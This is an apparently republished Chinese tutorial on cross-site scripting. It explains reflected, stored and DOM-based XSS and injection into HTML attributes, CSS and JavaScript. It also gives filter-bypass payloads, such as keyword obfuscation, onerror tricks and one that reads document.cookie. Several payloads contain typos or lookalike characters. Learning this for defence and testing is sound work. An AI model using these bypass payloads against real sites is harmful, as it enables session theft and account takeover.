IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 跨站脚本攻击 -> 正文阅读

[PHP知识库]跨站脚本攻击

????????跨站脚本攻击(XSS)可以使攻击者向网页中注入恶意代码,导致用户浏览器在加载网页、渲染HTML文档时就会执行攻击者的恶意代码。

常见XSS漏洞分类

·、反射型XSS

<?php
    echo 'your input:' . $_GET['input'];
?>

客户端输入的值没有经过任何过滤就输出,所以攻击者可以添加

?input=<script>alert(1)</script>

网页会弹框,内容为1。

2、存储型XSS

存储型XSS会存储在服务器端。

主要应用有留言板、在线聊天室、邮件服务等

提交留言?input=<script>alert(1)</script>后,用户访问页面就会弹窗

3、DOM型XSS

与反射型XSS和存储型XSS相比,DOM型XSS的XSS代码不需要服务端解析响应的直接参与。

常用Document对象属性

属性描述
cookie设置或返回与当前文档有关的所有Cookie
domain返回当前文档的域名
lastModified返回文档最后被修改的日期和时间
referrer返回载入当前文档的文档的URL
title返回当前文档的标题
URL返回当前文档的URL
write()

向文档写HTML表达式或JavaScript代码

document.write('<script>alert(1)</script>')

4、输出在HTML属性中

一般需要闭合相应的HTML属性后注入新属性,或者闭合标签后直接注入新标签

<input name="user" value="{{ your input }}"/>

" οnclick="alert(1)

"><script>alert(1)</script>

5、输出在CSS代码中

<style type="text/css">
body{
    color:{{ your input }};
}
</style>

#000; background-image: url('javascript:alert(1)')

n闭合前面的color属性,注入background-image属性

6、输出在JavaScript中

<script>
    var name={{ your input }}
</script>

'+alert(1)+'

闭合前面的单引号和后面的单引号

防护与绕过

1、特定标签过滤

过滤危险标签(script、iframe等)

<not_real_tag οnclick="alert(1)">click</not_real_tag>

这段代码被用户点击时也会执行XSS

如果输出点在HTML或JavaScript中,只需要简单的闭合、拼接属性或JavaScript代码而不需要引入任何新标签就可以执行XSS代码

2、事件过滤

HTML标签的事件属性会被过滤,需要遍历可利用的事件属性检测是否有遗漏

一些标签属性本身不属于事件属性,但可以执行JavaScript代码,比如JavaScript伪协议

<a href="javascript:alert(1)">click</a>

3、敏感关键字过滤

  • 字符串拼接与混淆

window['al'+'ert'](1)

btoa("alert")会将字符串编码为Base64返回YWxlcnQ=,atob会解码

所以可以使用

window[atob["YWx"+"lcnQ="]](1)

  • 编码解码

XSS漏洞中常用的编码方式

HTML进制编码:十进制、十六进制

CSS进制编码:兼容HTML中的进制表现形式,十进制、十六进制

JavaScript进制编码:八进制、十六进制、Unicode编码、ASCII

URL编码:%61

JSFuck编码

  • location.*、window.name

location.*、window.name等不会被浏览器提交至服务器,所以不会被过滤

也可以利用location对象结合字符串编码绕过基于关键字的过滤

<img src="1" οnerrοr=location="javascript:alert%281%29">

<img src="1" οnerrοr=location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">

  • 过滤“.”

document.cookie无法使用

可以使用with关键字设置变量的作用域

with(document)alert(cookie)

  • 过滤“()”

window.οnerrοr=alert; throw 1;

  • 过滤空格

标签属性之间可以使用换行符

0x09、0x10、0x12、0x13、0x0a等可以替代空格

标签名称和第一个属性之间也可以使用“/”代替空格

<input/oncus=alert(1)>

  • svg标签

svg内部的标签和语句遵循的规则是直接继承自xml而不是HTML

因此svg内部的script标签中可以允许存在一部分进制或编码后的字符

<svg><script>alert(1)</script></svg>

4、字符集编码绕过

宽字节

5、长度限制

window.name、location.*可以将代码放置在别处来减少输入点代码量

<ifram src="XXX?input=%3Cinput%20οnfοcus=$(window.name)%3E" name="<img src='x' οnerrοr=alert(1)>"></ifram>

注释

某些环境中可以使XSS分成多段用注释连接在一起

stage 1:<script>/*

stage 2:*/alert(1)/*

stage 3:*/</script>

危害与利用

XSS漏洞能实现的功能:

  • 窃取用户的Cookie信息,伪造用户身份
  • 与浏览器DOM对象进行交互,执行受害者所有可执行的操作
  • 获取网页源码
  • 发起HTTP请求
  • 获取地理位置信息
  • 使用WebRTC API获取网络信息
  • 发起HTTP请求对内网主机进行扫描,对存在漏洞的主机进行攻击

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-01 16:36:51  更:2021-10-01 16:37:15 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 4:29:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计